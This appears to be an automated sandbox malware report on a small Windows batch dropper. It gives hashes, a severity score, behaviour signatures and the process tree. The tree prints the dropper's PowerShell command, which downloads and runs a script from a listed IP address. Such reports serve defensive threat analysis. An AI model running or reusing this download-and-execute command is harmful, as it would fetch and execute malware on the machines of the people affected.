Analysis

  • max time kernel
    107s
  • max time network
    96s
  • platform
    windows7_x64
  • resource
    win7v200217
  • submitted
    02-04-2020 15:10

General

  • Target

    qeMZ0hsA.bat

  • Size

    198B

  • MD5

    dbdcd0ab61ac04d5a8795b41b1f91646

  • SHA1

    b94545d0a340a837622f2785ce5c108ef9ffebe7

  • SHA256

    3efce93dd9105db75b8a9634774a9d39cc0f03c08598237f8ec0958d3d121e0e

  • SHA512

    a5083ac4ca7232a5c83e4c9337d0b7634394e359772bce80ed0450f7a42e1d43f5dcaccf25a9fcb37b46fcc2948d23e9758d3a39c43985f8ba3fc11bf7bc81b6

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/qeMZ0hsA

Signatures

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\qeMZ0hsA.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/qeMZ0hsA');Invoke-XOMAVFLLGJHSHUI;Start-Sleep -s 10000"
      2⤵
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      PID:1856

Network

MITRE ATT&CK Matrix

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Downloads